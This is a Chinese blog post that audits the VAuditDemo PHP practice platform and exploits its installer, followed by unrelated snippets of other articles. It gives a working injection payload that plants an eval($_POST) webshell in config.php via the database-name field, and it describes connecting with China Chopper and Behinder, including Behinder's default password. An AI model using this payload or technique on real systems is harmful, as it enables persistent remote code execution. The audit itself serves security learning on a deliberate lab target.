VAuditDemo安装漏洞

目录

VAuditDemo安装漏洞

index.php

header.php

config.php

lib.php

install.php

分析结果

漏洞利用

第一步:删除install.lock文件,访问 install.php 抓包

第二步:通过审计构造payload

第三步:修改抓包请求内容,写入payload

第四步:菜刀链接


VAuditDemo安装漏洞

第一步访问首页http://192.168.230.188:82/

image-20240818214416624

这个应该就是默认首页,尝试访问http://192.168.230.188:82/index.php

image-20240818214620679

果然,依旧是这个界面,我们进入源代码,开始审计分析

index.php

 <?php require_once('sys/config.php');require_once('header.php');?><div class="row"><?php/* Include */if (isset($_GET['module'])){include($_GET['module'].'.inc');}else{?><div class="jumbotron" style="text-align: center;"><h1><b>VAuditDemo</b></h1><p>一个简单的Web漏洞演练平台</p><br /></div><div class="col-lg-12"><h2>用於演示講解PHP基本漏洞</h2><p></p></div><?php}?></div><?phprequire_once('footer.php');?>

首先包含了 sys/config.php 和 header.php两个文件 在下方 通过可控参数又包含了一个 $_GET['module'].'.inc' 文件 ,一共存在三次文件包含,并且第三个文件包含存在用户可控参数 module ,有可能存在文件包含漏洞

header.php

 ​

这个文件内容除了html标签就是SESSION变量,不存在可疑点

config.php

 <?php​// error_reporting(0);// 如果 $_SERVER["DOCUMENT_ROOT"].'/sys/install.lock' 文件不存在就跳转到安装页面if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){header("Location: /install/install.php");exit;}​include_once('lib.php');  //config.php 和 lib.php 属于同级​$host="localhost"; $username="root"; $password="p-0p-0p-0"; $database="vauditdemo"; ​$conn = mysql_connect($host,$username,$password);mysql_query('set names utf8',$conn);mysql_select_db($database, $conn) or die(mysql_error());if (!$conn){die('Could not connect: ' . mysql_error());exit;}session_start();?>

其中又包含了 lib.php 这个文件 这里除了 $_SERVER["DOCUMENT_ROOT"] 没有其他参数是可变的了,我们再去看看包含的 lib.php

lib.php

 if( !get_magic_quotes_gpc() ) {$_GET = sec ( $_GET );$_POST = sec ( $_POST );$_COOKIE = sec ( $_COOKIE ); }$_SERVER = sec ( $_SERVER );​function sec( &$array ) {if ( is_array( $array ) ) {foreach ( $array as $k => $v ) {$array [$k] = sec ( $v );}} else if ( is_string( $array ) ) {$array = addslashes( $array );} else if ( is_numeric( $array ) ) {$array = intval( $array );}return $array;}​function sqlwaf( $str ) {.......}​function clean_input( $dirty ) {return mysql_real_escape_string( stripslashes( $dirty ) );}​

其中对SQL注入做了极强的防范,同时对POST请求中的参数也做了预防

该文件中除了 下面几句代码直接调用了,其余的都是函数,并且函数都是对输入的内容和POST传入的参数做预防,比如转义,waf等等

 date_default_timezone_set('UTC');​if( !get_magic_quotes_gpc() ) {$_GET = sec ( $_GET );$_POST = sec ( $_POST );$_COOKIE = sec ( $_COOKIE ); }$_SERVER = sec ( $_SERVER );

除了这个函数

 function is_pic( $file_name ) {$extend =explode( "." , $file_name );$va=count( $extend )-1;if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {return 1;}elsereturn 0;}

单单只是校验了文件名的后缀,我觉得可能存在文件上传绕过的可能性

install.php

 if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {header( "Location: ../index.php" );}require_once '../header.php';

这是install.php 文件的开头 如果该文件存在,则跳转到默认首页,但是如果文件不存在呢?根据代码的分析,如果if判断中的文件不存在,那么就不会跳转页面到默认首页,然后包含 header.php 并运行下面的所有代码

 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){header("Location: /install/install.php");exit;}​include_once('lib.php');  //config.php 和 lib.php 属于同级

这是 config.php 文件的开头 如果 该文件不存在则跳转页面进行安装

可以发现,二者的区别除了判断文件是否存在之外,config.php 文件中多了 exit; 这句代码,这句代码的问题所在是什么呢,有与没有的的区别是什么呢?

通过代码调试可以得知,如果二者判断都成立,那么 config.php 则跳转页面并结束后面的代码,但是 install.php 就不一样了,不跳转页面,同时运行剩下的所有代码

既然这样,继续分析 install.php 文件的剩余代码,主要寻找用户可控参数

 if ( $_POST ) {​if ( $_POST["dbhost"] == "" ) {exit( '数据库连接地址不能为空' );}elseif ( $_POST["dbuser"] == "" ) {exit( '数据库数据库登录名' );}elseif ( $_POST["dbname"] == "" ) {exit( '请先创建数据库名称' );}​$dbhost = $_POST["dbhost"];$dbuser = $_POST["dbuser"];$dbpass = $_POST["dbpass"];$dbname = $_POST["dbname"];​$con = mysql_connect( $dbhost, $dbuser, $dbpass );if ( !$con ) {die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );}​$result = mysql_query('show databases;') or die ( mysql_error() );;While($row = mysql_fetch_assoc($result)){       $data[] = $row['Database'];}unset($result, $row);if (in_array(strtolower($dbname), $data)){mysql_close();echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";exit();}​mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

可以发现,对于POST请求的内容,除了判断是否为空,其余的并未做任何校验,同时 $dbname 竟然还作为 SQL 语句中的一部分,这绝对可以说是一个漏洞了

继续向下看,最后的 footer.php 文件,和最开始的 header.php 文件一样,都是html元素标签等等,不存在可疑点

 $str_tmp="<?php\r\n";$str_end="?>";$str_tmp.="\r\n";$str_tmp.="error_reporting(0);\r\n";$str_tmp.="\r\n";$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";$str_tmp.="\r\n";$str_tmp.="include_once('../sys/lib.php');\r\n";$str_tmp.="\r\n";$str_tmp.="\$host=\"$dbhost\"; \r\n";$str_tmp.="\$username=\"$dbuser\"; \r\n";$str_tmp.="\$password=\"$dbpass\"; \r\n";$str_tmp.="\$database=\"$dbname\"; \r\n";$str_tmp.="\r\n";$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";$str_tmp.="if (!\$conn)\r\n";$str_tmp.="{\r\n";$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";$str_tmp.="\texit;\r\n";$str_tmp.="}\r\n";$str_tmp.="\r\n";$str_tmp.="session_start();\r\n";$str_tmp.="\r\n";$str_tmp.=$str_end;​$fp=fopen( "../sys/config.php", "w" );fwrite( $fp, $str_tmp );fclose( $fp );​​​<?phprequire_once '../footer.php';?>

但是,我们可以看到,代码会将用户可控的参数拼接后写入 config.php 文件

我们再看看,是将什么样的内容写进了 config.php ,原来 整个 config.php 文件的内容都是这样生成的,那么就说得通了 而且 config.php 还是具有可写权限的,并且 config.php 中部分内容是由用户控制的

分析结果

  • 用户首次访问先访问 index.php ,由于该文件包含了 config.php 和 header.php 所以,也会第一时间执行这两个文件

  • 对于 config.php 文件来说,由于并不存在 install.lock 文件,所以访问的第一时间又会跳转到 install.php

  • 而在install.php 文件中,存在四个用户可控参数,并且第四个参数作为SQL语句执行,最终将执行的结果写入 config.php ,config.php 文件的内容也是由此而来

基于上面的分析,可以得出结论,用户在安装时,会通过 POST 提交内容,内容分别是 $dbhost $dbuser $dbpass $dbname 四个值,并且 $dbhost $dbuser $dbpass 这三个值是作为连接数据库时使用的 ,而 $dbname 值,作为SQL语句执行的一部分

所以可以得出结论,安装过程中,$dbname 值,存在php代码注入漏洞,与 config.php 文件相结合,有木马写入的漏洞

漏洞利用

代码分析发现,一切的问题开始是判断 install.lock 文件是否存在,在 install.php 文件中 只有 install.lock 文件不存在的时候 才不会进行跳转,否则 该文件存在 ,用户一访问 install.php 给出的响应中有 header( "Location: ../index.php" ); 浏览器解析响应后一看就会跳转,即使后面代码可以执行,前端也是无法显示后面的代码的,自然也就无法利用了。有些人可能会想,那前端页面无法访问,可以抓包啊,事实上一旦 浏览器解析到 Location 就直接跳转了,哪还来的 install.php 页面,哪来的 POST 提交正文

image-20240818224119750

image-20240818224134802

第一步:删除install.lock文件,访问 install.php 抓包

先访问到这个页面

image-20240818224526073

然后点击安装,同时开启抓包

image-20240818224619974

第二步:通过审计构造payload

install.php

 if ( $_POST ) {​if ( $_POST["dbhost"] == "" ) {exit( '数据库连接地址不能为空' );}elseif ( $_POST["dbuser"] == "" ) {exit( '数据库数据库登录名' );}elseif ( $_POST["dbname"] == "" ) {exit( '请先创建数据库名称' );}​$dbhost = $_POST["dbhost"];$dbuser = $_POST["dbuser"];$dbpass = $_POST["dbpass"];$dbname = $_POST["dbname"];​$con = mysql_connect( $dbhost, $dbuser, $dbpass );if ( !$con ) {die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );}​$result = mysql_query('show databases;') or die ( mysql_error() );;While($row = mysql_fetch_assoc($result)){       $data[] = $row['Database'];}unset($result, $row);if (in_array(strtolower($dbname), $data)){mysql_close();echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";exit();}​mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

config.php

 $database="$dbname"; 

那么就存在两点

  • CREATE DATABASE $dbname 这句话必须执行成功,不能报错,报错就die

  • $database="$dbname"; 这句话也不能报错,需要满足php语法

 "CREATE DATABASE $dbname" -> $database="$dbname";"CREATE DATABASE vauditdemo2" -> $database="vauditdemo2";"CREATE DATABASE vauditdemo2-- ";" -> $database="vauditdemo2-- ";";"CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);//" -> $database="vauditdemo2-- ";@eval($_POST[a]);//";

还是不放心,用navicat测试一下 CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);

image-20240818231359886

SQL语句执行成功,创建数据库vauditdemo2。再分析一下 $database="vauditdemo2-- ";@eval($_POST[a]);//"; 这句代码是否存在php语法错误(双引号都闭合,分号完全,多余部分已被注释),成了!

至于 $_POST[a] 中的 a 为什么没有再加单引号和双引号,是因为怕被过滤或者报错啥的,当然,不加引号也是可以正常执行的。

第三步:修改抓包请求内容,写入payload

image-20240818232033915

发送之后,查看响应,没有报错,去访问系统

image-20240818232141899

查看index.php包含config.php,查看config.php发现

image-20240818232228137

然后访问系统,并POST提交参数a,成功。

注意参数a传递时,由于 eval() 函数是直接执行代码,而php的代码必须要有 ; ,所以传参时也需要带分号。

image-20240818232447027

第四步:菜刀链接

image-20240818232710098

链接成功,隐藏木马,并修改数据库名称为原来的。

image-20240818232930823

image-20240818232910219

重新隐藏木马,并重新建立连接

image-20240818233309004

image-20240818233329726

上传冰蝎马,并使用冰蝎链接(冰蝎马默认链接密码是rebeyond)

image-20240818233653569

image-20240818233631891

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/52067.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

异常在代码中的两个作用

一.异常的作用: 作用一:异常是用来查询bug的关键参考信息。 作用二:异常可以作为方法内部的一种特殊返回值,以便通知调用者底层的执行情况。 二.举例: 例1: 一个JavaBean类: package com.itheima.a01MyExpection;public class Student { private String name; private int…

【极限性能,尽在掌控】ROG NUC:游戏与创作的微型巨擘

初见ROG NUC&#xff0c;你或许会为它的小巧体型惊讶。然而&#xff0c;这看似不起眼的机身内&#xff0c;蕴藏着游戏、创意的强大能量。 掌中风暴&#xff0c;性能无界 ROG NUC搭载英特尔高性能处理器&#xff0c;配合高速NVMe SSD固态硬盘以及可选的高端独立显卡&#xff08…

“解决Windows电脑无法投影到其他屏幕的问题:尝试更新驱动程序或更换视频卡“

目录 背景: 解决方法1: 解决方法2: 什么是驱动程序&#xff1a; 背景: 今天在日常的工作中&#xff0c; 我想将笔记本分屏到另一个显示屏&#xff0c;我这电脑Windows10系统&#xff0c;当我按下Windows键P键&#xff0c;屏幕信息上提示我"你的电脑不能投影到其他屏幕…

mybatis-plus使用saveOrUpdateBatch函数时数据库中已存在对应id数据,但报错插入时出现重复键

1. 问题背景 ProgramLang pl4 new ProgramLang(); // pl4.setId(100L).setLangName("YY").setDescription("Drama2");pl4.setId(100L);pl4.setLangName("YY");pl4.setDescription("Drama2");List<ProgramLang> updatedE…

调研在深度学习中如何读代码

这里调研了四个up主的内容&#xff0c;对他们讲的内容摘了一下主要的内容。想要看原文的画可以看原篇。 1.如何学习别人的代码&#xff08;代码量较大时&#xff09;_怎么学习别人的代码-CSDN博客 想要掌握的好&#xff0c;光阅读是不够的&#xff0c;一定要动手写、训练模型…

STM32学习9

USART串口协议 通信接口 通信的目的&#xff1a;将一个设备的数据传送到另一个设备&#xff0c;扩展硬件系统 通信协议&#xff1a;制定通信的规则&#xff0c;通信双方按照协议规则进行数据收发 串口通信 串口是一种应用十分广泛的通讯接口&#xff0c;串口成本低、容易使…

python 可迭代,迭代器,生成器,装饰器

1. 可迭代&#xff08;Iterable&#xff09; 可迭代 是指一个对象可以返回一个迭代器的对象。也就是说&#xff0c;它实现了 __iter__() 方法或 __getitem__() 方法。常见的可迭代对象有列表、元组、字符串、字典和集合。 from collections.abc import Iterablei 100 s &qu…

[Qt][Qt 文件]详细讲解

目录 1.输入输出设备类2.文件读写类3.文件和目录信息类 1.输入输出设备类 在Qt中&#xff0c;⽂件读写的类为QFile&#xff0c;其⽗类为QFileDevice QFileDevice提供了⽂件交互操作的底层功能QFileDevice的⽗类是QIODevice&#xff0c;其⽗类为QObject QIODevice是Qt中所有I/O…

统一待办集成方案:优化工作流,实现高效协作

在现代企业中&#xff0c;待办事项的管理往往分散在多个系统和工具中&#xff0c;这不仅导致信息孤岛&#xff0c;还可能影响工作效率和协作效果。为了解决这些问题&#xff0c;统一待办集成方案应运而生&#xff0c;它通过整合不同的待办事项管理系统&#xff0c;实现统一的任…

做无效私域,比不做还可怕!

这几年&#xff0c;市场上几乎80%的企业都在做同一件事&#xff1a;“私域”营销。 公众号、私域社群、企业微信、视频号……大家用的工具和平台都差不多&#xff0c;但运营效果却是天差地别。为什么很多企业的私域都做不起来&#xff0c;有的企业却做的风生水起&#xff0c;今…

图像识别,图片线条检测

import cv2 import numpy as np # 读取图片 img cv2.imread(1.png)# 灰度化 gray cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# 边缘检测 edges cv2.Canny(gray, 100, 200) 当某个像素点的梯度强度低于 threshold1 时&#xff0c;该像素点被认为是非边缘&#xff1b;当梯度强度…

未设置辅助手机的谷歌账号停用,申诉回来后登录需要手机验证,验证两次后成功恢复。

谷歌账号被停用后怎么办&#xff1f;果断申诉&#xff0c;申诉方法和模板等见我前面的文章或视频。 通常申诉以后1-2天会反馈结果&#xff0c;而且大部分&#xff08;80%以上&#xff09;会第一次就被审批通过&#xff0c;如下图所示&#xff1a; 当收到上面这样的邮件&#x…

【机器学习】探索数据矿藏:Python中的AI大模型与数据挖掘创新实践

&#x1f496; 前言&#xff1a;探索数据矿藏1. &#x1f4ca;数据获取与预处理&#xff1a;AI大模型的燃料1.1 &#x1f310;数据获取&#xff1a;多样性与规模并重1.2 &#x1f9f9;数据清洗与处理&#xff1a;提升数据质量1.3 &#x1f50d;特征工程&#xff1a;挖掘数据的深…

【C++】深度解析:用 C++ 模拟实现 priority_queue类,探索其底层实现细节(仿函数、容器适配器)

目录 ⭐前言 ✨堆 ✨容器适配器 ✨仿函数 ⭐priority_queue介绍 ⭐priority_queue参数介绍 ⭐priority_queue使用 ⭐priority_queue实现 ✨仿函数实现 ✨堆的向上调整和向下调整 ✨完整代码 ⭐前言 ✨堆 堆是一种特殊的树形数据结构&#xff0c;通常以二叉树的…

C/C++ 多线程[1]---线程创建+线程释放+实例

文章目录 前言1. 多线程创建2. 多线程释放3. 实例总结 前言 说来惭愧&#xff0c;写了很久的代码&#xff0c;一个单线程通全部。可能是接触的项目少吧&#xff0c;很多多线程的概念其实都知道&#xff0c;但是实战并没有用上。前段时间给公司软件做一个进度条&#xff0c;涉及…

[Qt][QSS][下]详细讲解

目录 1.样式属性0.前言1.盒模型(Box Model) 2.常用控件样式属性1.按钮2.复选框3.单选框4.输入框5.列表6.菜单栏7.注意 1.样式属性 0.前言 QSS中的样式属性⾮常多&#xff0c;不需要都记住&#xff0c;核⼼原则是⽤到了就去查 ⼤部分的属性和CSS是⾮常相似的 QSS中有些属性&am…

RK3588——网口实时传输视频

由于通过流媒体服务器传输画面延迟太高的问题&#xff0c;不知道是没有调试到合适的参数还是其他什么问题。诞生了这篇博客。 RK3588板端上接摄像头&#xff0c;采集画面&#xff0c;通过网口实时传输给上位机并显示。 第一代版本 RK3588代码 import cv2 import socket imp…

C++发送邮件:如何稳定实现邮件发送功能?

C发送邮件安全性探讨&#xff01;C编程中发送邮件的技巧&#xff1f; 邮件发送功能是许多应用程序的重要组成部分&#xff0c;无论是用于通知用户&#xff0c;还是用于自动化报告。AokSend将探讨如何在C环境中稳定地实现邮件发送功能&#xff0c;确保邮件能够可靠地到达收件人…

windows环境基于python 实现微信公众号文章推送

材料&#xff1a; 1、python 2.7 或者 python3.x 2、windows 可以通过 “python -m pip --version” 查看当前的pip 版本 E:\Downloads\newsInfo>python -m pip --version pip 20.3.4 from C:\Python27\lib\site-packages\pip (python 2.7) 3、windows 系统 制作&#xf…

云计算实训30——自动化运维(ansible)

自动化运维 ansible----自动化运维工具 特点&#xff1a; 部署简单&#xff0c;使用ssh管理 管理端与被管理端不需要启动服务 配置简单、功能强大&#xff0c;扩展性强 一、ansible环境搭建 准备四台机器 安装步骤 mo服务器&#xff1a; #下载epel [rootmo ~]# yum -y i…